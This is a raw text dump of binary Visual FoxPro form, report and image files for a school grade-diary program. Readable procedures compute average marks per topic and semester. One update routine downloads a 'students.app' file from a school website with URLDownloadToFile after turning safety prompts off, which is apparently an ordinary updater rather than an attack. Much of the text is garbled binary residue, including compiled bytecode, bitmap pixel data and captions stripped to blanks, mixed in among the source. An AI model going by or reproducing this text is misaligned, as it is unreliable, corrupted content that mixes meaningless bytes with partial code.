FINALLY Really=.t. ENDTRY ENDPROC PROCEDURE Destroy V=0 oChar.MoveTo(ROUND(RozW*0.89,0),ROUND(RozH*0.86,0)) ENDPROC  nn%6UT Diary.icoUTHISICONA9TCCףp= ?TCQ?ThC\ ! .x TaUONEXTOCHARMOVETOROZWROZHREALLYE T5CC{Gz?TCQ?TUVOCHARMOVETOROZWROZHInit,ActivateXDestroyQ13A2Q1'F 6n)n pageframe pageframe Pageframe1Form1ErasePage = .T. PageCount = 2 Top = 0 Left = 0 Width = 708 Height = 475 Name = "Pageframe1" Page1.FontSize = 12 Page1.Caption = " " Page1.Name = "Page1" Page2.FontSize = 12 Page2.Caption = " " Page2.Picture = ..\ Page2.Name = "Page2" labellabelLabel2Form1.Pageframe1.Page1zFontSize = 15 Caption = "" Height = 37 Left = 191 Top = 68 Width = 61 BackColor = 255,255,255 Name = "Label2"  commandbutton commandbuttonCommand1Form1.Pageframe1.Page1AutoSize = .T. Top = 229 Left = 71 Height = 34 Width = 293 FontSize = 12 Caption = " " Name = "Command1" PROCEDURE Click IF ((thisform.pageframe1.page1.combo1.Value)=.f.).and.(EMPTY(thisform.pageframe1.page1.combo2.Value)=.f.).and.(EMPTY(thisform.pageframe1.page1.combo3.Value)=.f.) PRIVATE Pn,Sn,Tn,Xy,kilkist SELECT People LOCATE FOR first_name=TRIM(thisform.pageframe1.page1.combo1.Value) Pn=num SELECT Subjects LOCATE FOR predmet=TRIM(thisform.pageframe1.page1.combo2.Value) Sn=num_pred SELECT Temjke LOCATE FOR name_tem=TRIM(thisform.pageframe1.page1.combo3.Value) Tn=special Xy=0 kilkist=0 SELECT Students SCAN FOR name=Pn .and. lesson=Sn .and. Tema=Tn XY=MARK+xy KILkist=KILkist+1 ENDSCAN SELECT Otsinku LOCATE FOR (cod_name=Pn).and.(urok=Sn).and.(uTema=Tn) IF FOUND() replace Tema WITH ROUND(XY/kilkist,0) ELSE APPEND BLANK replace cod_name WITH Pn replace urok WITH Sn replace uTema WITH Tn replace Tema WITH XY/Kilkist IF thisform.pageframe1.page1.check1.Value=1 replace ModTime WITH DATETIME() endif ENDIF thisform.pageframe1.page1.label5.Visible=.T. * oChar.Stop(oNext) oNext=oChar.Play('process') ELSE thisform.pageframe1.page1.label5.Caption=' , !' thisform.pageframe1.page1.label5.ForeColor= RGB(255,0,0) thisform.pageframe1.page1.label6.visible=.t. endif ENDPROC #   p$%^*m6UM%-C- C- m5   F - C` TF-C` TF-C` T  T  T F(~   _T  T  F'-    %C4>C T& > > > > %" >CT !aC$"#T$Cprocess"%7T & , !"T 'C^T(!aU)THISFORM PAGEFRAME1PAGE1COMBO1VALUECOMBO2COMBO3PNSNTNXYKILKISTPEOPLE FIRST_NAMENUMSUBJECTSPREDMETNUM_PREDTEMJKENAME_TEMSPECIALSTUDENTSNAMELESSONTEMAMARKOTSINKUCOD_NAMEUROKUTEMACHECK1MODTIMELABEL5VISIBLEOCHARSTOPONEXTPLAYCAPTION FORECOLORLABEL6Click,1qqrrqAqqaQAAqq!qA3)  commandbutton commandbuttonCommand2Form1.Pageframe1.Page1AutoSize = .T. Top = 229 Left = 371 Height = 34 Width = 254 FontSize = 12 Caption = " " Name = "Command2" PROCEDURE Click IF ((thisform.pageframe1.page1.combo1.Value)=.f.).and.(EMPTY(thisform.pageframe1.page1.combo2.Value)=.f.).and.(EMPTY(thisform.pageframe1.page1.combo3.Value)=.f.) PRIVATE Te, Uro, Xy, Kilkist,Child,pot Xy=0 Kilkist=0 SELECT Subjects LOCATE FOR predmet=thisform.pageframe1.page1.combo2.Value Uro=num_pred SELECT Temjke LOCATE FOR name_tem=thisform.pageframe1.page1.combo3.Value Te=special SELECT People GO top DO WHILE NOT EOF() Child=num SELECT Students SCAN FOR (name=Child).and.(lesson=Uro).and.(tema=Te) Xy=mark+XY kilkist=kilkist+1 endscan SELECT Otsinku LOCATE FOR (cod_name=Child).and.(urok=Uro).and.(uTema=te) IF NOT FOUND() APPEND BLANK IF thisform.pageframe1.page1.check1.Value=1 replace ModTime WITH DATETIME() endif replace cod_name WITH Child replace urok WITH Uro replace uTema WITH Te ENDIF IF kilkist<>0 pot=Xy/kilkist IF Pot<>0 replace Tema WITH ROUND(Pot,0) ELSE replace Tema WITH 2 ENDIF ELSE replace Tema WITH 2 endif SELECT People SKIP Xy=0 kilkist=0 ENDDO thisform.pageframe1.page1.label1.Caption=' !' thisform.pageframe1.page1.label1.ForeColor= RGB(0,255,0) thisform.pageframe1.page1.label5.Visible=.T. * oChar.Play('process') ELSE thisform.pageframe1.page1.label5.Caption=' , !' thisform.pageframe1.page1.label5.ForeColor= RGB(255,0,0) thisform.pageframe1.page1.label6.visible=.t. endif ENDPROC  %86UM%-C- C- 5    T  T F - TF- TF#)+C+  T F+~    YT  T  F'-    %C4 % >C > > >% TT  % ;>C TP >i >FH T  T 7T ! !"T "C^T#$aCprocess%&7T#! , !"T#"C^T'$aU(THISFORM PAGEFRAME1PAGE1COMBO1VALUECOMBO2COMBO3TEUROXYKILKISTCHILDPOTSUBJECTSPREDMETNUM_PREDTEMJKENAME_TEMSPECIALPEOPLENUMSTUDENTSNAMELESSONTEMAMARKOTSINKUCOD_NAMEUROKUTEMACHECK1MODTIMELABEL1CAPTION FORECOLORLABEL5VISIBLEOCHARPLAYLABEL6Click,1qrrQqAqqQAA!AAqAAq!qsq!qA1w)labellabelLabel1Form1.Pageframe1.Page1FontSize = 15 Caption = "' " Height = 37 Left = 155 Top = 32 Width = 101 BackColor = 255,255,255 Name = "Label1" labellabelLabel3Form1.Pageframe1.Page1FontSize = 15 Caption = " " Height = 37 Left = 131 Top = 104 Width = 113 BackColor = 255,255,255 Name = "Label3" comboboxcomboboxCombo2Form1.Pageframe1.Page1PFontSize = 12 Height = 25 Left = 251 Top = 68 Width = 204 Name = "Combo2" PROCEDURE DropDown THISFORM.pageframe1.page1.combo2.Clear SELECT Subjects SET FILTER TO DEl<>.t. GO TOP IF NOT EOF() SCAN thisform.pageframe1.page1.combo2.AddItem(predmet) ENDSCAN GO top thisform.pageframe1.page1.combo3.Enabled=.t. ELSE IF MESSAGEBOX(" . ?",4)=6 DO Form D:\FoxPro\Forms\re.scx name Al ENDIF Endif SET FILTER TO ENDPROC ? &&%6UF G(a#) %C+ {~[C#)T a\%CE . ?x"D:\FoxPro\Forms\re.scxJ G(U THISFORM PAGEFRAME1PAGE1COMBO2CLEARSUBJECTSDELADDITEMPREDMETCOMBO3ENABLEDDALDropDown,11qQAQq!AAa1)&comboboxcomboboxCombo1Form1.Pageframe1.Page1sFontSize = 12 RowSourceType = 1 RowSource = "" Height = 25 Left = 251 Top = 32 Width = 205 Name = "Combo1" PROCEDURE DropDown thisform.pageframe1.page1.combo1.Clear SELECT People SET FILTER TO DEL<>.t. GO top IF NOT EOF() SCAN thisform.pageframe1.page1.Combo1.AddItem(first_name) ENDSCAN else IF messagebox(' ! ?',4)=6 DO Form D:\FoxPro\Forms\AllFuctions.scx name Al endif ENDIF SET FILTER TO ENDPROC  lb%6UF G(a#) %C+ _~[CX%CA ! ?x+D:\FoxPro\Forms\AllFuctions.scxJ G(U THISFORM PAGEFRAME1PAGE1COMBO1CLEARPEOPLEDELADDITEM FIRST_NAMEDALDropDown,11qQAAAa3u)labellabelLabel4Form1.Pageframe1.Page1FontSize = 10 Caption = [ " " ' ] Height = 37 Left = 131 Top = 140 Width = 456 ForeColor = 255,0,0 BackColor = 255,255,255 Name = "Label4" comboboxcomboboxCombo3Form1.Pageframe1.Page1`FontSize = 12 Enabled = .F. Height = 25 Left = 251 Top = 104 Width = 205 Name = "Combo3" PROCEDURE DropDown thisform.pageframe1.page1.combo3.Clear SELECT Subjects LOCATE FOR (predmet=TRIM(thisform.pageframe1.page1.combo2.Value)) XX=num_pred SELECT Temjke SET FILTER TO DEL<>.t. GO top IF NOT EOF() SCAN FOR num_tem=XX thisform.pageframe1.page1.combo3.AddItem(name_tem) endscan GO top ELSE IF MESSAGEBOX(" . ?",4)=6 DO FORM D:\FoxPro\Forms\Re.scx ENDIF Endif SET FILTER TO ENDPROC  kk#%"6U0F-C` T  F G( a#) %C+ ~ C#)#Z%CC . ?xD:\FoxPro\Forms\Re.scxG(UTHISFORM PAGEFRAME1PAGE1COMBO3CLEARSUBJECTSPREDMETCOMBO2VALUEXXNUM_PREDTEMJKEDELNUM_TEMADDITEMNAME_TEMDDropDown,11qqQ!AQAAa1)kcheckboxcheckboxCheck1Form1.Pageframe1.Page1Top = 176 Left = 167 Height = 22 Width = 286 FontSize = 13 AutoSize = .T. Alignment = 0 Caption = "' " BackColor = 255,255,255 Name = "Check1" labellabelLabel5Form1.Pageframe1.Page1AutoSize = .T. FontSize = 15 Caption = " ." Height = 26 Left = 143 Top = 272 Visible = .F. Width = 277 ForeColor = 0,255,0 BackColor = 255,255,255 Name = "Label5" checkboxcheckboxCheck1Form1.Pageframe1.Page2Top = 56 Left = 239 Height = 22 Width = 286 FontSize = 13 AutoSize = .T. Alignment = 0 Caption = "' " BackColor = 255,255,255 Name = "Check1" labellabelLabel1Form1.Pageframe1.Page2FontSize = 15 Caption = " :" Height = 24 Left = 11 Top = 8 Width = 228 BackColor = 255,255,255 Name = "Label1" comboboxcomboboxCombo1Form1.Pageframe1.Page2OFontSize = 12 Height = 25 Left = 239 Top = 8 Width = 217 Name = "Combo1" PROCEDURE Click PUBLIC V IF V<>0 PRIVATE pP, Sp, current,WoW RELEASE ALL LIKE checkbox FOR i=1 TO V ThisForm.pageframe1.page2.removeobject('chekbox'+alltrim(STR(I))) ENDFOR V=0 endif SELECT Subjects GO top scan FOR predmet=thisform.pageframe1.page2.combo1.Value pP=num_pred ENDSCAN SELECT Temjke v=0 SCAN FOR num_tem=pP v=V+1 current=ALLTRIM(name_tem) thisform.pageframe1.page2.Shape1.BackColor=65535 thisform.pageframe1.page2.addobject('chekbox'+alltrim(STR(V)),"checkbox") Wow = 'ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.Visible = .T.' &Wow Wow='ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.AutoSize=.T.' &Wow Sp='ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.caption=current' &Sp Wow= 'ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.Visible = .T.' &Wow Wow = 'ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.Visible = .T.' &Wow Wow='ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.left=13' &Wow Wow = 'ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.Visible = .T.' &Wow Wow = 'ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.fontSize=13' &Wow Wow = 'ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.BackColor=65535' IF V=0 Wow='ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.top=56' &Wow ELSE Wow='ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.top=56+V*24' &Wow ENDIF Wow = 'ThisForm.pageframe1.page2.chekbox'+alltrim(STR(V))+'.Visible = .T.' &Wow ENDSCAN ENDPROC PROCEDURE DropDown thisform.pageframe1.page2.combo1.Clear SELECT Subjects GO top IF NOT EOF() DO WHILE NOT EOF() thisform.pageframe1.page2.combo1.AddItem(predmet) SKIP ENDDO ELSE MESSAGEBOX(' ! ?',4) IF MESSAGEBOX(' ! ?',4)=6 DO FORM D:\FoxPro\Re.scx endif endif ENDPROC  Y%.A6U'7%5<checkbox(x%CchekboxCCZ  TF #)~   TF T~ TTCT0CchekboxCCZcheckboxHT!ThisForm.pageframe1.page2.chekboxCCZ.Visible = .T.&Wow GT!ThisForm.pageframe1.page2.chekboxCCZ .AutoSize=.T.&Wow JT!ThisForm.pageframe1.page2.chekboxCCZ.caption=current&Sp HT!ThisForm.pageframe1.page2.chekboxCCZ.Visible = .T.&Wow HT!ThisForm.pageframe1.page2.chekboxCCZ.Visible = .T.&Wow BT!ThisForm.pageframe1.page2.chekboxCCZ.left=13&Wow HT!ThisForm.pageframe1.page2.chekboxCCZ.Visible = .T.&Wow FT!ThisForm.pageframe1.page2.chekboxCCZ .fontSize=13&Wow JT!ThisForm.pageframe1.page2.chekboxCCZ.BackColor=65535%vAT!ThisForm.pageframe1.page2.chekboxCCZ.top=56&Wow FT!ThisForm.pageframe1.page2.chekboxCCZ .top=56+V*24&Wow HT!ThisForm.pageframe1.page2.chekboxCCZ.Visible = .T.&Wow UVPPSPCURRENTWOWITHISFORM PAGEFRAME1PAGE2 REMOVEOBJECTSUBJECTSPREDMETCOMBO1VALUENUM_PREDTEMJKENUM_TEMNAME_TEMSHAPE1 BACKCOLOR ADDOBJECT9F#) %C+ \+C+ XCH2UCF ! ?x]%CF ! ?x.D:\FoxPro\Re.scxU THISFORM PAGEFRAME1PAGE2COMBO1CLEARSUBJECTSADDITEMPREDMETDClick,DropDown1q1qQAAqQAq!qq!aaAA41qQAAQAA325)shapeshapeShape1Form1.Pageframe1.Page2QTop = 44 Left = 11 Height = 348 Width = 193 Curvature = 15 Name = "Shape1"  commandbutton commandbuttonCommand1Form1.Pageframe1.Page2AutoSize = .T. Top = 97 Left = 239 Height = 34 Width = 284 FontSize = 12 Caption = " " Name = "Command1" PROCEDURE Click PRIVATE A,NUM_pre,Rec DECLARE Matrix[V,2] SET STEP ON Rec=0 SELECT Temjke FOR i=1 TO V E='ThisForm.pageframe1.page2.chekbox'+alltrim(STR(I))+'.value' IF &E = 1 R='ThisForm.pageframe1.page2.chekbox'+alltrim(STR(I))+'.caption' LOCATE FOR name_tem=&R Matrix[i,1]=special ENDIF endfor SELECT Subjects LOCATE FOR predmet=thisform.pageframe1.page2.combo1.Value NUM_pre=num_pred SELECT People GO top DO WHILE NOT EOF() Zmina_imeni=num SELECT Otsinku FOR i=1 TO V LOCATE FOR (cod_name=Zmina_imeni).and.(urok=Num_pre).and.(Utema=Matrix[i,1]) Matrix[i,2]=Tema endfor LOCATE FOR (cod_name=Zmina_imeni).and.(urok=Num_pre).and.(semestr1<>0) IF NOT FOUND() APPEND BLANK replace cod_name WITH Zmina_imeni replace urok WITH Num_pre ENDIF FOR i=1 TO V Rec=Matrix[i,2]+Rec endfor IF round(Rec/V,0)=0 replace semestr1 WITH 2 ELSE replace semestr1 with ROUND(Rec/V,0) endif IF thisform.pageframe1.page2.check1.Value=1 replace modtime WITH DATETIME() endif Rec=0 SELECT People skip ENDDO thisform.pageframe1.page2.label2.Visible=.t. * oChar.stop(oNExt) oChar.Play('process') ENDPROC L 33%u36U@5G1 TF(@T!ThisForm.pageframe1.page2.chekboxCCZ.valueIF &E = 1BT!ThisForm.pageframe1.page2.chekboxCCZ.captionLOCATE FOR name_tem=&R T F -  TF#)+C+  TF(/-  C T'-   %C4 3 > >(gTC%C T >>C T%  >C TFHT aC! Cprocess"U#ANUM_PRERECMATRIXVTEMJKEIERSPECIALSUBJECTSPREDMETTHISFORM PAGEFRAME1PAGE2COMBO1VALUENUM_PREDPEOPLE ZMINA_IMENINUMOTSINKUCOD_NAMEUROKUTEMATEMASEMESTR1CHECK1MODTIMELABEL2VISIBLEOCHARSTOPONEXTPLAYClick,11aqq!AAqqQqqAqQAqAaAAqAAqq4)3 commandbutton commandbuttonCommand2Form1.Pageframe1.Page2AutoSize = .F. Top = 133 Left = 239 Height = 34 Width = 284 FontSize = 12 Caption = " " Name = "Command2" pPROCEDURE Click PRIVATE A,NUM_pre,Rec,V1 DECLARE Matrix[V,2] j=1 V1=0 Rec=0 SELECT Temjke FOR i=1 TO V E='ThisForm.pageframe1.page2.chekbox'+alltrim(STR(I))+'.value' IF &E = 1 V1=1+V1 R='ThisForm.pageframe1.page2.chekbox'+alltrim(STR(I))+'.caption' LOCATE FOR name_tem=&R Matrix[j,1]=special j=j+1 ENDIF endfor SELECT Subjects LOCATE FOR predmet=thisform.pageframe1.page2.combo1.Value NUM_pre=num_pred SELECT People GO top DO WHILE NOT EOF() Zmina_imeni=num SELECT Otsinku FOR i=1 TO V1 LOCATE FOR (cod_name=Zmina_imeni).and.(urok=Num_pre).and.(Utema=Matrix[i,1]) Matrix[i,2]=Tema endfor LOCATE FOR (cod_name=Zmina_imeni).and.(urok=Num_pre).and.(semestr1<>0) IF NOT FOUND() MESSAGEBOX(' , !',1+64) ELSE FOR i=1 TO V1 Rec=Matrix[i,2]+Rec endfor IF round(Rec/V,0)=0 replace semestr2 WITH 2 ELSE replace semestr2 with ROUND(Rec/V1,0) endif IF thisform.pageframe1.page2.check1.Value=1 replace modtime WITH DATETIME() ENDIF replace years WITH ROUND((semestr1+semestr2)/2,0) Rec=0 ENDIF SELECT People skip ENDDO thisform.pageframe1.page2.label2.Visible=.t. * oChar.Sopt(oNext) oChar.Play('process') ENDPROC  c%*696U5 T T TF(W@T !ThisForm.pageframe1.page2.chekboxCCZ.valueIF &E = 1STBT !ThisForm.pageframe1.page2.chekboxCCZ.captionLOCATE FOR name_tem=&R T TF -  TF#)+C+  TF(/-  C T'-   %C4 _CP , !Ax(TC%C T >.>C T%\ >C> C T TFHT!"aC%#$Cprocess#&U'ANUM_PRERECV1MATRIXVJTEMJKEIERSPECIALSUBJECTSPREDMETTHISFORM PAGEFRAME1PAGE2COMBO1VALUENUM_PREDPEOPLE ZMINA_IMENINUMOTSINKUCOD_NAMEUROKUTEMATEMASEMESTR1SEMESTR2CHECK1MODTIMEYEARSLABEL2VISIBLEOCHARSOPTONEXTPLAYClick,111qq!AAqqQqqAqqAaAAArAAqq4e)labellabelLabel2Form1.Pageframe1.Page2AutoSize = .T. FontSize = 15 Caption = " !" Height = 26 Left = 227 Top = 205 Visible = .F. Width = 249 ForeColor = 0,255,0 BackColor = 255,255,255 Name = "Label2" eArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 12, 7, 19, 15, 43, 3, 1 Arial, 0, 13, 8, 20, 15, 45, 4, 1 0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _38M1EK5V01053474406/F] WINDOWS _38M1EK5V11058258130r WINDOWS _38M1EK5V21054511259 [c WINDOWS _38M1EK5V31053517015 WINDOWS _38M1EK5V41053517126 WINDOWS _38M1EK5V51058145297>Shx4@ COMMENT RESERVED OVERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 208 Width = 657 ShowWindow = 2 DoCreate = .T. AutoCenter = .T. Caption = " Ulothrix..." FontSize = 12 MaxButton = .F. MinButton = .F. Icon = ..\diary.ico AlwaysOnTop = .T. Name = "Form1" PROCEDURE Destroy oChar.Stop(oNExt) ENDPROC PROCEDURE Init this.Icon='Diary.ico' ENDPROC PROCEDURE Unload CLEAR EVENTS ENDPROC O 66\%6UCUOCHARSTOPONEXTT Diary.icoUTHISICONUDestroy,InitXUnload123Q1$?Vs)6 olecontrol olecontrol ProgressBarForm1FTop = 120 Left = 60 Height = 36 Width = 552 Name = "ProgressBar"  ࡱ> Root EntryP%^@OleObjectData\AccessObjSiteData&OChangedProps  B*!C4 9~BͫO8 qhj ZtuQha;jdfn[iaetr  Appearance I .OLEObject = C:\Windows\system32\comctl32.ocx labellabelLabel1Form1AutoSize = .T. FontSize = 13 WordWrap = .T. Caption = " ." Height = 22 Left = 12 Top = 24 Width = 177 ForeColor = 128,128,128 Name = "Label1" labellabelLabel2Form1AutoSize = .T. FontSize = 13 Caption = "" Height = 22 Left = 60 Top = 84 Width = 2 ForeColor = 255,0,0 Name = "Label2"  commandbutton commandbuttonCommand1Form1Top = 168 Left = 408 Height = 37 Width = 217 FontSize = 13 Picture = ..\ Caption = " " Enabled = .T. PicturePosition = 2 Name = "Command1" PROCEDURE Init this.Picture='Begin.bmp' ENDPROC PROCEDURE Click IF this.Caption=' ' this.Enabled=.t. thisform.label1.Caption=', , .' thisform.label1.Height=40 thisform.label1.Width=471 DECLARE INTEGER URLDownloadToFile IN urlmon.dll; INTEGER pCaller, STRING szURL,; STRING szFileName, INTEGER dwReserved,; INTEGER lpfnCB PRIVATE Cb *--------------------------------------------------------- SET SAFETY OFF *DELETE FILE Students.app LOCAL cRemoteFile, cLocalFile, nResult cRemoteFile = "http://www.shkola22.com.ua/Prg/students.app" cLocalFile = pPath+'\Students.app' thisform.progressBar.value=50 thisform.label2.Caption=' ...' thisform.label2.Caption=' ...' nResult = URLDownloadToFile(0, cRemoteFile, cLocalFile, 0,0) IF nResult = 0 oNext=oChar.Think(' ! ! , !') thisform.label2.Caption=' ' thisform.progressBar.value=100 thisform.command1.Enabled=.t. ELSE oNext=oChar.Think(' ! .') ENDIF SET SAFETY ON *-------------------------------------------------------- thisform.label1.Caption='' this.Enabled= .T. this.Caption='' ELSE thisform.Release endif ENDPROC  ð%I"6UT Begin.bmpUTHISPICTURE'% TaoT\, , .T(T0|URLDownloadToFile urlmon.dll5 G.   8T +http://www.shkola22.com.ua/Prg/students.appT  \Students.appT2.T ...0T ...T C % kTCW ! ! , !(T TdTabTC ! .G. TTaT  UTHISCAPTIONENABLEDTHISFORMLABEL1HEIGHTWIDTHURLDOWNLOADTOFILEURLMONDLLCB CREMOTEFILE CLOCALFILENRESULTPPATH PROGRESSBARVALUELABEL2ONEXTOCHARTHINKCOMMAND1RELEASEInit,Click[12q1Aqb11Q Aa2A1(D)DArial, 0, 12, 7, 19, 15, 43, 3, 1 Arial, 0, 13, 8, 20, 15, 45, 4, 1 0  PLATFORMCUNIQUEIDC TIMESTAMPN OBJTYPENOBJCODENNAMEM"EXPRM&VPOSN* HPOSN3 HEIGHTN< WIDTHNE STYLEMNPICTUREMRORDERMVUNIQUELZCOMMENTM[ENVIRONL_BOXCHARC`FILLCHARCaTAGMbTAG2MfPENREDNjPENGREENNoPENBLUENtFILLREDNyFILLGREENN~FILLBLUENPENSIZENPENPATNFILLPATNFONTFACEMFONTSTYLENFONTSIZENMODENRULERNRULERLINESNGRIDLGRIDVNGRIDHNFLOATLSTRETCHLSTRETCHTOPLTOPLBOTTOMLSUPTYPENSUPRESTNNOREPEATLRESETRPTNPAGEBREAKLCOLBREAKLRESETPAGELGENERALNSPACINGNDOUBLELSWAPHEADERLSWAPFOOTERLEJECTBEFORLEJECTAFTERLPLAINLSUMMARYLADDALIASLOFFSETNTOPMARGINNBOTMARGINNTOTALTYPENRESETTOTALNRESOIDNCURPOSLSUPALWAYSLSUPOVFLOWLSUPRPCOLNSUPGROUPNSUPVALCHNGLSUPEXPRMUSERM WINDOWS _3890VI1N21052538170 1 53 1.000 0.000 0.000 -1.000 F  0 10 20T1212 FF T F T 1F WINDOWS _3890VI1N3 9 1 5625.000 0.000 F FFF F F WINDOWS _3890VI1N4 9 4 6355.000 0.000 F FFF F F WINDOWS _3890VI1N5 9 7 15313.000 0.000 F FFF F F WINDOWS _3890VN1811052539189 5 0 416.667 3229.167 2708.33349375.000 -1 -1 -1 -1 -1 -1  0 16 1 FFFTF F 0T 204FTT0 0F WINDOWS _3890WIN2M1052539217 8 0 8854.16719166.667 2916.66723229.167 C 0 0 0 -1 -1 -1 ! 0 16 1 0 FFFTF F 0T 0 0 1204FTT3 0F WINDOWS _3890WM3XL1052539296 7 4 7708.33318854.167 6354.16733645.833 -1 -1 -1 -1 -1 -1 1 8 0 0 FFFTF F 0 FTF3 0F WINDOWS _3890WMA561052539313 8 0" 520.83353750.000 2604.16721875.000 C 255 0 0 -1 -1 -1 # 0 14 1 0 FFFTF F 0T 0 0 1204FTT0 0F WINDOWS _3890WMZ1R1052539330 8 0$ 8854.16742395.833 2604.16713541.667 C -1 -1 -1 -1 -1 -1 % 0 14 1 0 FFFTF F 0T 0 0 1204FTF3 0F WINDOWS _3890WNV0Q1052539339 6 7708.33341145.833 6354.167 104.167 -1 -1 -1 -1 -1 -1 1 8 0 FFFTF F 0 FTF3 0F WINDOWS _38G0ZOJAX1053066458 8 0&22708.33331041.667 2187.50018125.000FF C -1 -1 -1 -1 -1 -1 0 0 0' 2 12 100F 0 0FFFTF00F 0FFF 0 2TFFFFFFF 0 0 0 0 1204TTT0 0F( WINDOWS _38G0ZOOW51053066464 8 0)20312.500 7500.000 7708.333 8020.833FF C -1 -1 -1 -1 -1 -1 0 0 0+ 0 15 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 1204FTT0 6F, WINDOWS _38G0ZOOW61053066464 5 0-20312.500 1041.667 2708.333 4375.000FF -1 -1 -1 -1 -1 -1 0 0 0. 0 16 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 0204FTT0 6F/ WINDOWS 23 16.000 8.000 12.000 10.000 4 0 0 0 10 F WINDOWS 23 26.000 11.000 20.000 37.000 6 0 1 0 16 F WINDOWS 23 23.000 10.000 18.000 33.000 5 0 2 0 14 F WINDOWS 23 20.000 7.000 16.000 30.000 3 1 3 2 12 F WINDOWS 23 24.000 10.000 19.000 35.000 5 0 4 0 15 F WINDOWS 25 56 F F h@DRIVER=winspool DEVICE=EPSON Stylus C91 Series OUTPUT=USB001 ORIENTATION=0 PAPERSIZE=9 PAPERLENGTH=2970 PAPERWIDTH=2100 COPIES=1 DEFAULTSOURCE=7 COLOR=2 DUPLEX=1 COLLATE=0 Y+winspoolEPSON Stylus C91 SeriesUSB001ort:EPSON Stylus C91 Series 4dhh EPSON Stylus C91 SeriesPOpen cfg file 4  hhL ,hh q*** q***d2 Courier New6" I- ():"CalibriPrincur3.first_nameCalibriPrincur3.predmetCalibriPrincur3.semestr1Calibri " " + TRANSFORM(_PAGENO)ArialYesPrintDATE()""CalibriYesTrue""CalibriYesTrue Courier NewCalibriCalibriArialCalibridataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" DRIVER=winspool DEVICE=EPSON Stylus C91 Series OUTPUT=USB001 ORIENTATION=0 PAPERSIZE=9 PAPERLENGTH=2970 PAPERWIDTH=2100 COPIES=1 DEFAULTSOURCE=7 COLOR=2 DUPLEX=1 COLLATE=0 Y+winspoolEPSON Stylus C91 SeriesUSB001ort:EPSON Stylus C91 Series 4dhh EPSON Stylus C91 SeriesPOpen cfg file 4  hhL ,hh q*** q***d2 Courier New6" I- ():"CalibriPrincur3.first_nameCalibriPrincur3.predmetCalibriPrincur3.semestr1Calibri " " + TRANSFORM(_PAGENO)ArialYesPrintDATE()""CalibriYesTrue""CalibriYesTrue Courier NewCalibriCalibriArialCalibridataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" BM6(22  ٧˨}}sr{z{zzyvw~ϮddZZaabaa`^^cd}|AA"r"n v !x w q s ZZնÖ88hYW^`_VW((ؽbbtbccfhg^\xdc׷yy--gdoqqrrkgt::䏾54 o ghprrrrnln|jhѰPNmdmnqrrrrqqlnGEӱӵa`|feoqrsstuutli+*mmyijlqsrsuvvvvoj|NNɝӅ55gdmpsssuvwxxxrmu!!qq᏾<<qehpssttuvwxxyvtrwIIغߟȠNNofimrstutompuyz{ysn,,’ˤTUwchrrrstutqnpuz{||tn`aԱҰϰXXnbdltvssqop z !!xwz|}wrz*,wz˪,},Z`lqtvurqq{ ::^^KKzyy{zxvzEIմҶEE g cgjorsos%$YYǖֲǕQPxt{~|wq#%ȎIIyjhlnqrfeָבŏCB | qzysTTҥΞƞnn<<{lcl``Ұsrrz}w}##kkљÙTUybnMMԲ̝21y{|~||<;Уޤʤef66@@if}x|tllƞȞř͠NK u~v ;:Š؈)(y~||MLֲ׳PM ~}x'&‹݌ʼn87 zt UTӭooww|##llӪBB }{{12Ȗwx-- z}tbbٸڸghw|ty,,tsΞ44yy~yx { 89ʛii}y}~zp~bbԪVVry{pv,,xxɛ:;xx{}}vtw22Ðnn!!wrx}zvnyZYֵӬZ[os{|yno*)onھʝECtpvyyro q 0/~*( wqsxwthnCCĘpn$$mmvwujhwLLɡعVV v mrtuqnhu]]ڽĕ=> v iksspff##ll׻̈́10kgprqkhj!|!qqts))lfipplcf//{z׸kj%%ddnqpif m )(wxӳee!y!fehnlidg13y|έ\[wb`jnmie n %&lmֺͪed++ k ffgd_XZ&~'xyÚոtt55 m aca`XSlKLcdYY:900*)''&y&&t%<cQ^Ǧn1Χerf5l` ǯ'܊~ʬu{SI$$I)I$JTI%)$IJI$R/?/w\Ψp)+)zY4Y=ckA.>jW+:_Znȹk[_O1%=GK=;a 3{}:?ި}sOۏekeM7ɶ=?T K?p;?XWsg\CŦH ƺ?O}/mbPM5I$$I)TI%)$IJI$R<[}P a#pڼRuWX3-ɭ '?)x\>\C[#skv{XV\'7-fvԮ"zhvoclK^7JƦ]Ka֝]vd$nݣlm#Nj^nEFw]u%)$IJI$STI%)1 :NN߮Y2>cnCk[QYIwvfR_J[et\kH޻50ZlhKӷ#T?Y^S}Lron_f5t6(9k Fl3eԔ}`_VhVUm?/.so/ }X5-K. }MojǢ~Ծt^ZnP]^u>sv6]O2K79cu9}oI}*_dz)>p,!ƪ8pMlmN#Ժ/ڰ^!=-em.հLD|ofn%V5]IO_OޝWz\ds;]G *EU޾5iH#PA\yضQi&8}?ş_9:Nt辰C]uՎCI$RI$TI%)qPSscL`"i]vد=A]o m=KCnVvSeI$В^y?AȬv ߜ[jO`m 